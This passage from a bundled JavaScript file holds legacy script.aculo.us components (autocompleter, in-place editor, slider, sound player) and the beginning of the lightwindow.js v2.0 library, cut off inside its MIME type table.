          var elem = instance.options.array[i];
          var foundPos = instance.options.ignoreCase ?
            elem.toLowerCase().indexOf(entry.toLowerCase()) :
            elem.indexOf(entry);

          while (foundPos != -1) {
            if (foundPos == 0 && elem.length != entry.length) {
              ret.push("<li><strong>" + elem.substr(0, entry.length) + "</strong>" +
                elem.substr(entry.length) + "</li>");
              break;
            } else if (entry.length >= instance.options.partialChars &&
              instance.options.partialSearch && foundPos != -1) {
              if (instance.options.fullSearch || /\s/.test(elem.substr(foundPos-1,1))) {
                partial.push("<li>" + elem.substr(0, foundPos) + "<strong>" +
                  elem.substr(foundPos, entry.length) + "</strong>" + elem.substr(
                  foundPos + entry.length) + "</li>");
                break;
              }
            }

            foundPos = instance.options.ignoreCase ?
              elem.toLowerCase().indexOf(entry.toLowerCase(), foundPos + 1) :
              elem.indexOf(entry, foundPos + 1);

          }
        }
        if (partial.length)
          ret = ret.concat(partial.slice(0, instance.options.choices - ret.length));
        return "<ul>" + ret.join('') + "</ul>";
      }
    }, options || { });
  }
});

// AJAX in-place editor and collection editor
// Full rewrite by Christophe Porteneuve <tdd@tddsworld.com> (April 2007).

// Use this if you notice weird scrolling problems on some browsers,
// the DOM might be a bit confused when this gets called so do this
// waits 1 ms (with setTimeout) until it does the activation
Field.scrollFreeActivate = function(field) {
  setTimeout(function() {
    Field.activate(field);
  }, 1);
};

Ajax.InPlaceEditor = Class.create({
  initialize: function(element, url, options) {
    this.url = url;
    this.element = element = $(element);
    this.prepareOptions();
    this._controls = { };
    arguments.callee.dealWithDeprecatedOptions(options); // DEPRECATION LAYER!!!
    Object.extend(this.options, options || { });
    if (!this.options.formId && this.element.id) {
      this.options.formId = this.element.id + '-inplaceeditor';
      if ($(this.options.formId))
        this.options.formId = '';
    }
    if (this.options.externalControl)
      this.options.externalControl = $(this.options.externalControl);
    if (!this.options.externalControl)
      this.options.externalControlOnly = false;
    this._originalBackground = this.element.getStyle('background-color') || 'transparent';
    this.element.title = this.options.clickToEditText;
    this._boundCancelHandler = this.handleFormCancellation.bind(this);
    this._boundComplete = (this.options.onComplete || Prototype.emptyFunction).bind(this);
    this._boundFailureHandler = this.handleAJAXFailure.bind(this);
    this._boundSubmitHandler = this.handleFormSubmission.bind(this);
    this._boundWrapperHandler = this.wrapUp.bind(this);
    this.registerListeners();
  },
  checkForEscapeOrReturn: function(e) {
    if (!this._editing || e.ctrlKey || e.altKey || e.shiftKey) return;
    if (Event.KEY_ESC == e.keyCode)
      this.handleFormCancellation(e);
    else if (Event.KEY_RETURN == e.keyCode)
      this.handleFormSubmission(e);
  },
  createControl: function(mode, handler, extraClasses) {
    var control = this.options[mode + 'Control'];
    var text = this.options[mode + 'Text'];
    if ('button' == control) {
      var btn = document.createElement('input');
      btn.type = 'submit';
      btn.value = text;
      btn.className = 'editor_' + mode + '_button';
      if ('cancel' == mode)
        btn.onclick = this._boundCancelHandler;
      this._form.appendChild(btn);
      this._controls[mode] = btn;
    } else if ('link' == control) {
      var link = document.createElement('a');
      link.href = '#';
      link.appendChild(document.createTextNode(text));
      link.onclick = 'cancel' == mode ? this._boundCancelHandler : this._boundSubmitHandler;
      link.className = 'editor_' + mode + '_link';
      if (extraClasses)
        link.className += ' ' + extraClasses;
      this._form.appendChild(link);
      this._controls[mode] = link;
    }
  },
  createEditField: function() {
    var text = (this.options.loadTextURL ? this.options.loadingText : this.getText());
    var fld;
    if (1 >= this.options.rows && !/\r|\n/.test(this.getText())) {
      fld = document.createElement('input');
      fld.type = 'text';
      var size = this.options.size || this.options.cols || 0;
      if (0 < size) fld.size = size;
    } else {
      fld = document.createElement('textarea');
      fld.rows = (1 >= this.options.rows ? this.options.autoRows : this.options.rows);
      fld.cols = this.options.cols || 40;
    }
    fld.name = this.options.paramName;
    fld.value = text; // No HTML breaks conversion anymore
    fld.className = 'editor_field';
    if (this.options.submitOnBlur)
      fld.onblur = this._boundSubmitHandler;
    this._controls.editor = fld;
    if (this.options.loadTextURL)
      this.loadExternalText();
    this._form.appendChild(this._controls.editor);
  },
  createForm: function() {
    var ipe = this;
    function addText(mode, condition) {
      var text = ipe.options['text' + mode + 'Controls'];
      if (!text || condition === false) return;
      ipe._form.appendChild(document.createTextNode(text));
    };
    this._form = $(document.createElement('form'));
    this._form.id = this.options.formId;
    this._form.addClassName(this.options.formClassName);
    this._form.onsubmit = this._boundSubmitHandler;
    this.createEditField();
    if ('textarea' == this._controls.editor.tagName.toLowerCase())
      this._form.appendChild(document.createElement('br'));
    if (this.options.onFormCustomization)
      this.options.onFormCustomization(this, this._form);
    addText('Before', this.options.okControl || this.options.cancelControl);
    this.createControl('ok', this._boundSubmitHandler);
    addText('Between', this.options.okControl && this.options.cancelControl);
    this.createControl('cancel', this._boundCancelHandler, 'editor_cancel');
    addText('After', this.options.okControl || this.options.cancelControl);
  },
  destroy: function() {
    if (this._oldInnerHTML)
      this.element.innerHTML = this._oldInnerHTML;
    this.leaveEditMode();
    this.unregisterListeners();
  },
  enterEditMode: function(e) {
    if (this._saving || this._editing) return;
    this._editing = true;
    this.triggerCallback('onEnterEditMode');
    if (this.options.externalControl)
      this.options.externalControl.hide();
    this.element.hide();
    this.createForm();
    this.element.parentNode.insertBefore(this._form, this.element);
    if (!this.options.loadTextURL)
      this.postProcessEditField();
    if (e) Event.stop(e);
  },
  enterHover: function(e) {
    if (this.options.hoverClassName)
      this.element.addClassName(this.options.hoverClassName);
    if (this._saving) return;
    this.triggerCallback('onEnterHover');
  },
  getText: function() {
    return this.element.innerHTML.unescapeHTML();
  },
  handleAJAXFailure: function(transport) {
    this.triggerCallback('onFailure', transport);
    if (this._oldInnerHTML) {
      this.element.innerHTML = this._oldInnerHTML;
      this._oldInnerHTML = null;
    }
  },
  handleFormCancellation: function(e) {
    this.wrapUp();
    if (e) Event.stop(e);
  },
  handleFormSubmission: function(e) {
    var form = this._form;
    var value = $F(this._controls.editor);
    this.prepareSubmission();
    var params = this.options.callback(form, value) || '';
    if (Object.isString(params))
      params = params.toQueryParams();
    params.editorId = this.element.id;
    if (this.options.htmlResponse) {
      var options = Object.extend({ evalScripts: true }, this.options.ajaxOptions);
      Object.extend(options, {
        parameters: params,
        onComplete: this._boundWrapperHandler,
        onFailure: this._boundFailureHandler
      });
      new Ajax.Updater({ success: this.element }, this.url, options);
    } else {
      var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
      Object.extend(options, {
        parameters: params,
        onComplete: this._boundWrapperHandler,
        onFailure: this._boundFailureHandler
      });
      new Ajax.Request(this.url, options);
    }
    if (e) Event.stop(e);
  },
  leaveEditMode: function() {
    this.element.removeClassName(this.options.savingClassName);
    this.removeForm();
    this.leaveHover();
    this.element.style.backgroundColor = this._originalBackground;
    this.element.show();
    if (this.options.externalControl)
      this.options.externalControl.show();
    this._saving = false;
    this._editing = false;
    this._oldInnerHTML = null;
    this.triggerCallback('onLeaveEditMode');
  },
  leaveHover: function(e) {
    if (this.options.hoverClassName)
      this.element.removeClassName(this.options.hoverClassName);
    if (this._saving) return;
    this.triggerCallback('onLeaveHover');
  },
  loadExternalText: function() {
    this._form.addClassName(this.options.loadingClassName);
    this._controls.editor.disabled = true;
    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
    Object.extend(options, {
      parameters: 'editorId=' + encodeURIComponent(this.element.id),
      onComplete: Prototype.emptyFunction,
      onSuccess: function(transport) {
        this._form.removeClassName(this.options.loadingClassName);
        var text = transport.responseText;
        if (this.options.stripLoadedTextTags)
          text = text.stripTags();
        this._controls.editor.value = text;
        this._controls.editor.disabled = false;
        this.postProcessEditField();
      }.bind(this),
      onFailure: this._boundFailureHandler
    });
    new Ajax.Request(this.options.loadTextURL, options);
  },
  postProcessEditField: function() {
    var fpc = this.options.fieldPostCreation;
    if (fpc)
      $(this._controls.editor)['focus' == fpc ? 'focus' : 'activate']();
  },
  prepareOptions: function() {
    this.options = Object.clone(Ajax.InPlaceEditor.DefaultOptions);
    Object.extend(this.options, Ajax.InPlaceEditor.DefaultCallbacks);
    [this._extraDefaultOptions].flatten().compact().each(function(defs) {
      Object.extend(this.options, defs);
    }.bind(this));
  },
  prepareSubmission: function() {
    this._saving = true;
    this.removeForm();
    this.leaveHover();
    this.showSaving();
  },
  registerListeners: function() {
    this._listeners = { };
    var listener;
    $H(Ajax.InPlaceEditor.Listeners).each(function(pair) {
      listener = this[pair.value].bind(this);
      this._listeners[pair.key] = listener;
      if (!this.options.externalControlOnly)
        this.element.observe(pair.key, listener);
      if (this.options.externalControl)
        this.options.externalControl.observe(pair.key, listener);
    }.bind(this));
  },
  removeForm: function() {
    if (!this._form) return;
    this._form.remove();
    this._form = null;
    this._controls = { };
  },
  showSaving: function() {
    this._oldInnerHTML = this.element.innerHTML;
    this.element.innerHTML = this.options.savingText;
    this.element.addClassName(this.options.savingClassName);
    this.element.style.backgroundColor = this._originalBackground;
    this.element.show();
  },
  triggerCallback: function(cbName, arg) {
    if ('function' == typeof this.options[cbName]) {
      this.options[cbName](this, arg);
    }
  },
  unregisterListeners: function() {
    $H(this._listeners).each(function(pair) {
      if (!this.options.externalControlOnly)
        this.element.stopObserving(pair.key, pair.value);
      if (this.options.externalControl)
        this.options.externalControl.stopObserving(pair.key, pair.value);
    }.bind(this));
  },
  wrapUp: function(transport) {
    this.leaveEditMode();
    // Can't use triggerCallback due to backward compatibility: requires
    // binding + direct element
    this._boundComplete(transport, this.element);
  }
});

Object.extend(Ajax.InPlaceEditor.prototype, {
  dispose: Ajax.InPlaceEditor.prototype.destroy
});

Ajax.InPlaceCollectionEditor = Class.create(Ajax.InPlaceEditor, {
  initialize: function($super, element, url, options) {
    this._extraDefaultOptions = Ajax.InPlaceCollectionEditor.DefaultOptions;
    $super(element, url, options);
  },

  createEditField: function() {
    var list = document.createElement('select');
    list.name = this.options.paramName;
    list.size = 1;
    this._controls.editor = list;
    this._collection = this.options.collection || [];
    if (this.options.loadCollectionURL)
      this.loadCollection();
    else
      this.checkForExternalText();
    this._form.appendChild(this._controls.editor);
  },

  loadCollection: function() {
    this._form.addClassName(this.options.loadingClassName);
    this.showLoadingText(this.options.loadingCollectionText);
    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
    Object.extend(options, {
      parameters: 'editorId=' + encodeURIComponent(this.element.id),
      onComplete: Prototype.emptyFunction,
      onSuccess: function(transport) {
        var js = transport.responseText.strip();
        if (!/^\[.*\]$/.test(js)) // TODO: improve sanity check
          throw('Server returned an invalid collection representation.');
        this._collection = eval(js);
        this.checkForExternalText();
      }.bind(this),
      onFailure: this.onFailure
    });
    new Ajax.Request(this.options.loadCollectionURL, options);
  },

  showLoadingText: function(text) {
    this._controls.editor.disabled = true;
    var tempOption = this._controls.editor.firstChild;
    if (!tempOption) {
      tempOption = document.createElement('option');
      tempOption.value = '';
      this._controls.editor.appendChild(tempOption);
      tempOption.selected = true;
    }
    tempOption.update((text || '').stripScripts().stripTags());
  },

  checkForExternalText: function() {
    this._text = this.getText();
    if (this.options.loadTextURL)
      this.loadExternalText();
    else
      this.buildOptionList();
  },

  loadExternalText: function() {
    this.showLoadingText(this.options.loadingText);
    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
    Object.extend(options, {
      parameters: 'editorId=' + encodeURIComponent(this.element.id),
      onComplete: Prototype.emptyFunction,
      onSuccess: function(transport) {
        this._text = transport.responseText.strip();
        this.buildOptionList();
      }.bind(this),
      onFailure: this.onFailure
    });
    new Ajax.Request(this.options.loadTextURL, options);
  },

  buildOptionList: function() {
    this._form.removeClassName(this.options.loadingClassName);
    this._collection = this._collection.map(function(entry) {
      return 2 === entry.length ? entry : [entry, entry].flatten();
    });
    var marker = ('value' in this.options) ? this.options.value : this._text;
    var textFound = this._collection.any(function(entry) {
      return entry[0] == marker;
    }.bind(this));
    this._controls.editor.update('');
    var option;
    this._collection.each(function(entry, index) {
      option = document.createElement('option');
      option.value = entry[0];
      option.selected = textFound ? entry[0] == marker : 0 == index;
      option.appendChild(document.createTextNode(entry[1]));
      this._controls.editor.appendChild(option);
    }.bind(this));
    this._controls.editor.disabled = false;
    Field.scrollFreeActivate(this._controls.editor);
  }
});

//**** DEPRECATION LAYER FOR InPlace[Collection]Editor! ****
//**** This only  exists for a while,  in order to  let ****
//**** users adapt to  the new API.  Read up on the new ****
//**** API and convert your code to it ASAP!            ****

Ajax.InPlaceEditor.prototype.initialize.dealWithDeprecatedOptions = function(options) {
  if (!options) return;
  function fallback(name, expr) {
    if (name in options || expr === undefined) return;
    options[name] = expr;
  };
  fallback('cancelControl', (options.cancelLink ? 'link' : (options.cancelButton ? 'button' :
    options.cancelLink == options.cancelButton == false ? false : undefined)));
  fallback('okControl', (options.okLink ? 'link' : (options.okButton ? 'button' :
    options.okLink == options.okButton == false ? false : undefined)));
  fallback('highlightColor', options.highlightcolor);
  fallback('highlightEndColor', options.highlightendcolor);
};

Object.extend(Ajax.InPlaceEditor, {
  DefaultOptions: {
    ajaxOptions: { },
    autoRows: 3,                                // Use when multi-line w/ rows == 1
    cancelControl: 'link',                      // 'link'|'button'|false
    cancelText: 'cancel',
    clickToEditText: 'Click to edit',
    externalControl: null,                      // id|elt
    externalControlOnly: false,
    fieldPostCreation: 'activate',              // 'activate'|'focus'|false
    formClassName: 'inplaceeditor-form',
    formId: null,                               // id|elt
    highlightColor: '#ffff99',
    highlightEndColor: '#ffffff',
    hoverClassName: '',
    htmlResponse: true,
    loadingClassName: 'inplaceeditor-loading',
    loadingText: 'Loading...',
    okControl: 'button',                        // 'link'|'button'|false
    okText: 'ok',
    paramName: 'value',
    rows: 1,                                    // If 1 and multi-line, uses autoRows
    savingClassName: 'inplaceeditor-saving',
    savingText: 'Saving...',
    size: 0,
    stripLoadedTextTags: false,
    submitOnBlur: false,
    textAfterControls: '',
    textBeforeControls: '',
    textBetweenControls: ''
  },
  DefaultCallbacks: {
    callback: function(form) {
      return Form.serialize(form);
    },
    onComplete: function(transport, element) {
      // For backward compatibility, this one is bound to the IPE, and passes
      // the element directly.  It was too often customized, so we don't break it.
      new Effect.Highlight(element, {
        startcolor: this.options.highlightColor, keepBackgroundImage: true });
    },
    onEnterEditMode: null,
    onEnterHover: function(ipe) {
      ipe.element.style.backgroundColor = ipe.options.highlightColor;
      if (ipe._effect)
        ipe._effect.cancel();
    },
    onFailure: function(transport, ipe) {
      alert('Error communication with the server: ' + transport.responseText.stripTags());
    },
    onFormCustomization: null, // Takes the IPE and its generated form, after editor, before controls.
    onLeaveEditMode: null,
    onLeaveHover: function(ipe) {
      ipe._effect = new Effect.Highlight(ipe.element, {
        startcolor: ipe.options.highlightColor, endcolor: ipe.options.highlightEndColor,
        restorecolor: ipe._originalBackground, keepBackgroundImage: true
      });
    }
  },
  Listeners: {
    click: 'enterEditMode',
    keydown: 'checkForEscapeOrReturn',
    mouseover: 'enterHover',
    mouseout: 'leaveHover'
  }
});

Ajax.InPlaceCollectionEditor.DefaultOptions = {
  loadingCollectionText: 'Loading options...'
};

// Delayed observer, like Form.Element.Observer,
// but waits for delay after last key input
// Ideal for live-search fields

Form.Element.DelayedObserver = Class.create({
  initialize: function(element, delay, callback) {
    this.delay     = delay || 0.5;
    this.element   = $(element);
    this.callback  = callback;
    this.timer     = null;
    this.lastValue = $F(this.element);
    Event.observe(this.element,'keyup',this.delayedListener.bindAsEventListener(this));
  },
  delayedListener: function(event) {
    if(this.lastValue == $F(this.element)) return;
    if(this.timer) clearTimeout(this.timer);
    this.timer = setTimeout(this.onTimerEvent.bind(this), this.delay * 1000);
    this.lastValue = $F(this.element);
  },
  onTimerEvent: function() {
    this.timer = null;
    this.callback(this.element, $F(this.element));
  }
});



// script.aculo.us slider.js v1.8.3, Thu Oct 08 11:23:33 +0200 2009

// Copyright (c) 2005-2009 Marty Haught, Thomas Fuchs
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

if (!Control) var Control = { };

// options:
//  axis: 'vertical', or 'horizontal' (default)
//
// callbacks:
//  onChange(value)
//  onSlide(value)
Control.Slider = Class.create({
  initialize: function(handle, track, options) {
    var slider = this;

    if (Object.isArray(handle)) {
      this.handles = handle.collect( function(e) { return $(e) });
    } else {
      this.handles = [$(handle)];
    }

    this.track   = $(track);
    this.options = options || { };

    this.axis      = this.options.axis || 'horizontal';
    this.increment = this.options.increment || 1;
    this.step      = parseInt(this.options.step || '1');
    this.range     = this.options.range || $R(0,1);

    this.value     = 0; // assure backwards compat
    this.values    = this.handles.map( function() { return 0 });
    this.spans     = this.options.spans ? this.options.spans.map(function(s){ return $(s) }) : false;
    this.options.startSpan = $(this.options.startSpan || null);
    this.options.endSpan   = $(this.options.endSpan || null);

    this.restricted = this.options.restricted || false;

    this.maximum   = this.options.maximum || this.range.end;
    this.minimum   = this.options.minimum || this.range.start;

    // Will be used to align the handle onto the track, if necessary
    this.alignX = parseInt(this.options.alignX || '0');
    this.alignY = parseInt(this.options.alignY || '0');

    this.trackLength = this.maximumOffset() - this.minimumOffset();

    this.handleLength = this.isVertical() ?
      (this.handles[0].offsetHeight != 0 ?
        this.handles[0].offsetHeight : this.handles[0].style.height.replace(/px$/,"")) :
      (this.handles[0].offsetWidth != 0 ? this.handles[0].offsetWidth :
        this.handles[0].style.width.replace(/px$/,""));

    this.active   = false;
    this.dragging = false;
    this.disabled = false;

    if (this.options.disabled) this.setDisabled();

    // Allowed values array
    this.allowedValues = this.options.values ? this.options.values.sortBy(Prototype.K) : false;
    if (this.allowedValues) {
      this.minimum = this.allowedValues.min();
      this.maximum = this.allowedValues.max();
    }

    this.eventMouseDown = this.startDrag.bindAsEventListener(this);
    this.eventMouseUp   = this.endDrag.bindAsEventListener(this);
    this.eventMouseMove = this.update.bindAsEventListener(this);

    // Initialize handles in reverse (make sure first handle is active)
    this.handles.each( function(h,i) {
      i = slider.handles.length-1-i;
      slider.setValue(parseFloat(
        (Object.isArray(slider.options.sliderValue) ?
          slider.options.sliderValue[i] : slider.options.sliderValue) ||
         slider.range.start), i);
      h.makePositioned().observe("mousedown", slider.eventMouseDown);
    });

    this.track.observe("mousedown", this.eventMouseDown);
    document.observe("mouseup", this.eventMouseUp);
    document.observe("mousemove", this.eventMouseMove);

    this.initialized = true;
  },
  dispose: function() {
    var slider = this;
    Event.stopObserving(this.track, "mousedown", this.eventMouseDown);
    Event.stopObserving(document, "mouseup", this.eventMouseUp);
    Event.stopObserving(document, "mousemove", this.eventMouseMove);
    this.handles.each( function(h) {
      Event.stopObserving(h, "mousedown", slider.eventMouseDown);
    });
  },
  setDisabled: function(){
    this.disabled = true;
  },
  setEnabled: function(){
    this.disabled = false;
  },
  getNearestValue: function(value){
    if (this.allowedValues){
      if (value >= this.allowedValues.max()) return(this.allowedValues.max());
      if (value <= this.allowedValues.min()) return(this.allowedValues.min());

      var offset = Math.abs(this.allowedValues[0] - value);
      var newValue = this.allowedValues[0];
      this.allowedValues.each( function(v) {
        var currentOffset = Math.abs(v - value);
        if (currentOffset <= offset){
          newValue = v;
          offset = currentOffset;
        }
      });
      return newValue;
    }
    if (value > this.range.end) return this.range.end;
    if (value < this.range.start) return this.range.start;
    return value;
  },
  setValue: function(sliderValue, handleIdx){
    if (!this.active) {
      this.activeHandleIdx = handleIdx || 0;
      this.activeHandle    = this.handles[this.activeHandleIdx];
      this.updateStyles();
    }
    handleIdx = handleIdx || this.activeHandleIdx || 0;
    if (this.initialized && this.restricted) {
      if ((handleIdx>0) && (sliderValue<this.values[handleIdx-1]))
        sliderValue = this.values[handleIdx-1];
      if ((handleIdx < (this.handles.length-1)) && (sliderValue>this.values[handleIdx+1]))
        sliderValue = this.values[handleIdx+1];
    }
    sliderValue = this.getNearestValue(sliderValue);
    this.values[handleIdx] = sliderValue;
    this.value = this.values[0]; // assure backwards compat

    this.handles[handleIdx].style[this.isVertical() ? 'top' : 'left'] =
      this.translateToPx(sliderValue);

    this.drawSpans();
    if (!this.dragging || !this.event) this.updateFinished();
  },
  setValueBy: function(delta, handleIdx) {
    this.setValue(this.values[handleIdx || this.activeHandleIdx || 0] + delta,
      handleIdx || this.activeHandleIdx || 0);
  },
  translateToPx: function(value) {
    return Math.round(
      ((this.trackLength-this.handleLength)/(this.range.end-this.range.start)) *
      (value - this.range.start)) + "px";
  },
  translateToValue: function(offset) {
    return ((offset/(this.trackLength-this.handleLength) *
      (this.range.end-this.range.start)) + this.range.start);
  },
  getRange: function(range) {
    var v = this.values.sortBy(Prototype.K);
    range = range || 0;
    return $R(v[range],v[range+1]);
  },
  minimumOffset: function(){
    return(this.isVertical() ? this.alignY : this.alignX);
  },
  maximumOffset: function(){
    return(this.isVertical() ?
      (this.track.offsetHeight != 0 ? this.track.offsetHeight :
        this.track.style.height.replace(/px$/,"")) - this.alignY :
      (this.track.offsetWidth != 0 ? this.track.offsetWidth :
        this.track.style.width.replace(/px$/,"")) - this.alignX);
  },
  isVertical:  function(){
    return (this.axis == 'vertical');
  },
  drawSpans: function() {
    var slider = this;
    if (this.spans)
      $R(0, this.spans.length-1).each(function(r) { slider.setSpan(slider.spans[r], slider.getRange(r)) });
    if (this.options.startSpan)
      this.setSpan(this.options.startSpan,
        $R(0, this.values.length>1 ? this.getRange(0).min() : this.value ));
    if (this.options.endSpan)
      this.setSpan(this.options.endSpan,
        $R(this.values.length>1 ? this.getRange(this.spans.length-1).max() : this.value, this.maximum));
  },
  setSpan: function(span, range) {
    if (this.isVertical()) {
      span.style.top = this.translateToPx(range.start);
      span.style.height = this.translateToPx(range.end - range.start + this.range.start);
    } else {
      span.style.left = this.translateToPx(range.start);
      span.style.width = this.translateToPx(range.end - range.start + this.range.start);
    }
  },
  updateStyles: function() {
    this.handles.each( function(h){ Element.removeClassName(h, 'selected') });
    Element.addClassName(this.activeHandle, 'selected');
  },
  startDrag: function(event) {
    if (Event.isLeftClick(event)) {
      if (!this.disabled){
        this.active = true;

        var handle = Event.element(event);
        var pointer  = [Event.pointerX(event), Event.pointerY(event)];
        var track = handle;
        if (track==this.track) {
          var offsets  = this.track.cumulativeOffset();
          this.event = event;
          this.setValue(this.translateToValue(
           (this.isVertical() ? pointer[1]-offsets[1] : pointer[0]-offsets[0])-(this.handleLength/2)
          ));
          var offsets  = this.activeHandle.cumulativeOffset();
          this.offsetX = (pointer[0] - offsets[0]);
          this.offsetY = (pointer[1] - offsets[1]);
        } else {
          // find the handle (prevents issues with Safari)
          while((this.handles.indexOf(handle) == -1) && handle.parentNode)
            handle = handle.parentNode;

          if (this.handles.indexOf(handle)!=-1) {
            this.activeHandle    = handle;
            this.activeHandleIdx = this.handles.indexOf(this.activeHandle);
            this.updateStyles();

            var offsets  = this.activeHandle.cumulativeOffset();
            this.offsetX = (pointer[0] - offsets[0]);
            this.offsetY = (pointer[1] - offsets[1]);
          }
        }
      }
      Event.stop(event);
    }
  },
  update: function(event) {
   if (this.active) {
      if (!this.dragging) this.dragging = true;
      this.draw(event);
      if (Prototype.Browser.WebKit) window.scrollBy(0,0);
      Event.stop(event);
   }
  },
  draw: function(event) {
    var pointer = [Event.pointerX(event), Event.pointerY(event)];
    var offsets = this.track.cumulativeOffset();
    pointer[0] -= this.offsetX + offsets[0];
    pointer[1] -= this.offsetY + offsets[1];
    this.event = event;
    this.setValue(this.translateToValue( this.isVertical() ? pointer[1] : pointer[0] ));
    if (this.initialized && this.options.onSlide)
      this.options.onSlide(this.values.length>1 ? this.values : this.value, this);
  },
  endDrag: function(event) {
    if (this.active && this.dragging) {
      this.finishDrag(event, true);
      Event.stop(event);
    }
    this.active = false;
    this.dragging = false;
  },
  finishDrag: function(event, success) {
    this.active = false;
    this.dragging = false;
    this.updateFinished();
  },
  updateFinished: function() {
    if (this.initialized && this.options.onChange)
      this.options.onChange(this.values.length>1 ? this.values : this.value, this);
    this.event = null;
  }
});



// Copyright (c) 2005-2008 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
//
// Based on code created by Jules Gravinese (http://www.webveteran.com/)
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

// Set up a random ID for our soundboard
randID = 'scriptaculous-soundboard-'+Math.floor(Math.random()*1000000000);

Sound = {
  tracks: {},
  _enabled: true,
  template:
    new Template('<embed style="height:0" id="sound_#{track}_#{id}" src="#{url}" loop="false" autostart="true" hidden="true"/>'),
  enable: function(){
    Sound._enabled = true;
  },
  disable: function(){
    Sound._enabled = false;
  },
  play: function(url){
    if(!Sound._enabled) return;
  
    // Is the soundboard created yet?
    if (!$(randID)) {
      $$('body')[0].insert( 
	      new Element('div',{
	        id: randID,
	        style: 'visibility:hidden;'
	      })
	  );
	  // All sounds will play from this soundboard
    }
    
   var options = Object.extend({
      track: 'global', url: url, replace: false
    }, arguments[1] || {});

    if(options.replace && this.tracks[options.track]) {
      $R(0, this.tracks[options.track].id).each(function(id){
        var sound = $('sound_'+options.track+'_'+id);
        sound.Stop && sound.Stop();
        sound.remove();
      });
      this.tracks[options.track] = null;
    }

    if(!this.tracks[options.track])
      this.tracks[options.track] = { id: 0 };
    else
      this.tracks[options.track].id++;

    options.id = this.tracks[options.track].id;
    $(randID).insert( 
      Prototype.Browser.IE ? new Element('bgsound',{
        id: 'sound_'+options.track+'_'+options.id,
        src: options.url, loop: 1, autostart: true
      }) : Sound.template.evaluate(options));
  }
};

if(Prototype.Browser.Gecko && navigator.userAgent.indexOf("Win") > 0){
  if(navigator.plugins && $A(navigator.plugins).detect(function(p){ return p.name.indexOf('QuickTime') != -1 }))
    Sound.template = new Template('<object id="sound_#{track}_#{id}" width="0" height="0" type="audio/mpeg" data="#{url}"/>');
  else if(navigator.plugins && $A(navigator.plugins).detect(function(p){ return p.name.indexOf('Windows Media') != -1 }))
    Sound.template = new Template('<object id="sound_#{track}_#{id}" type="application/x-mplayer2" data="#{url}"></object>');
  else if(navigator.plugins && $A(navigator.plugins).detect(function(p){ return p.name.indexOf('RealPlayer') != -1 }))
    Sound.template = new Template('<embed type="audio/x-pn-realaudio-plugin" style="height:0" id="sound_#{track}_#{id}" src="#{url}" loop="false" autostart="true" hidden="true"/>');
  else
    Sound.play = function(){};
} 

// Remove the soundboard when leaving
window.onbeforeunload = function() {
	if ($(randID)) {
		document.body.removeChild($(randID));
	}
} 
// lightwindow.js v2.0
//
// Copyright (c) 2007 stickmanlabs
// Author: Kevin P Miller | http://www.stickmanlabs.com
// 
// LightWindow is freely distributable under the terms of an MIT-style license.
//
// I don't care what you think about the file size...
//   Be a pro: 
//	    http://www.thinkvitamin.com/features/webapps/serving-javascript-fast
//      http://rakaz.nl/item/make_your_pages_load_faster_by_combining_and_compressing_javascript_and_css_files
//

/*-----------------------------------------------------------------------------------------------*/

if(typeof Effect == 'undefined')
  throw("lightwindow.js requires including script.aculo.us' effects.js library!");

// This will stop image flickering in IE6 when elements with images are moved
try {
	document.execCommand("BackgroundImageCache", false, true);
} catch(e) {}

var lightwindow = Class.create();	
lightwindow.prototype = {
	//
	//	Setup Variables
	//
	element : null,
	contentToFetch : null,
	windowActive : false,
	dataEffects : [],
	dimensions : {
		cruft : null,
		container : null,
		viewport : {
			height : null,
			width : null,
			offsetTop : null,
			offsetLeft : null
		}
	},
	pagePosition : {
		x : 0,
		y : 0
	},
	pageDimensions : {
		width : null,
		height : null
	},
	preloadImage : [],
	preloadedImage : [],
	galleries : [],
	resizeTo : {
		height : null,
		heightPercent : null,
		width : null,
		widthPercent : null,
		fixedTop : null,
		fixedLeft : null
	},
	scrollbarOffset : 18,
	navigationObservers : {
		previous : null,
		next : null
	},
	containerChange : {
		height : 0,
		width : 0
	},
	activeGallery : false,
	galleryLocation : {
		current : 0,
		total : 0
	},
	//
	//	Initialize the lightwindow.
	//
	initialize : function(options) {
		this.options = Object.extend({
			resizeSpeed : 8,
			contentOffset : {
				height : 20,
				width : 20
			},
			dimensions : {
				image : {height : 250, width : 250},
				page : {height : 250, width : 250},
				inline : {height : 250, width : 250},
				media : {height : 250, width : 250},
				external : {height : 250, width : 250},
				titleHeight : 25
			},
			classNames : {	
				standard : 'lightwindow',
				action : 'lightwindow_action'
			},
			fileTypes : {
				page : ['asp', 'aspx', 'cgi', 'cfm', 'htm', 'html', 'pl', 'php4', 'php3', 'php', 'php5', 'phtml', 'rhtml', 'shtml', 'txt', 'vbs', 'rb'],
				media : ['aif', 'aiff', 'asf', 'avi', 'divx', 'm1v', 'm2a', 'm2v', 'm3u', 'mid', 'midi', 'mov', 'moov', 'movie', 'mp2', 'mp3', 'mpa', 'mpa', 'mpe', 'mpeg', 'mpg', 'mpg', 'mpga', 'pps', 'qt', 'rm', 'ram', 'swf', 'viv', 'vivo', 'wav'],
				image : ['bmp', 'gif', 'jpg', 'png', 'tiff']
			},
			mimeTypes : {
				avi : 'video/avi',
				aif : 'audio/aiff',
				aiff : 'audio/aiff',
				gif : 'image/gif',
				bmp : 'image/bmp',
				jpeg : 'image/jpeg',
				m1v : 'video/mpeg',
				m2a : 'audio/mpeg',
				m2v : 'video/mpeg',
				m3u : 'audio/x-mpequrl',
				mid : 'audio/x-midi',
				midi : 'audio/x-midi',
				mjpg : 'video/x-motion-jpeg',
				moov : 'video/quicktime',
				mov : 'video/quicktime',
				movie : 'video/x-sgi-movie',
				mp2 : 'audio/mpeg',
				mp3 : 'audio/mpeg3',
				mpa : 'audio/mpeg',
				mpa : 'video/mpeg',
				mpe : 'video/mpeg',
				mpeg : 'video/mpeg',
				mpg : 'audio/mpeg',
				mpg : 'video/mpeg',
				mpga : 'audio/mpeg',
				pdf : 'application/pdf',
				png : 'image/png',
				pps : 'application/mspowerpoint',
				qt : 'video/quicktime',
				ram : 'audio/x-pn-realaudio-plugin',
				rm : 'application/vnd.rn-realmedia',
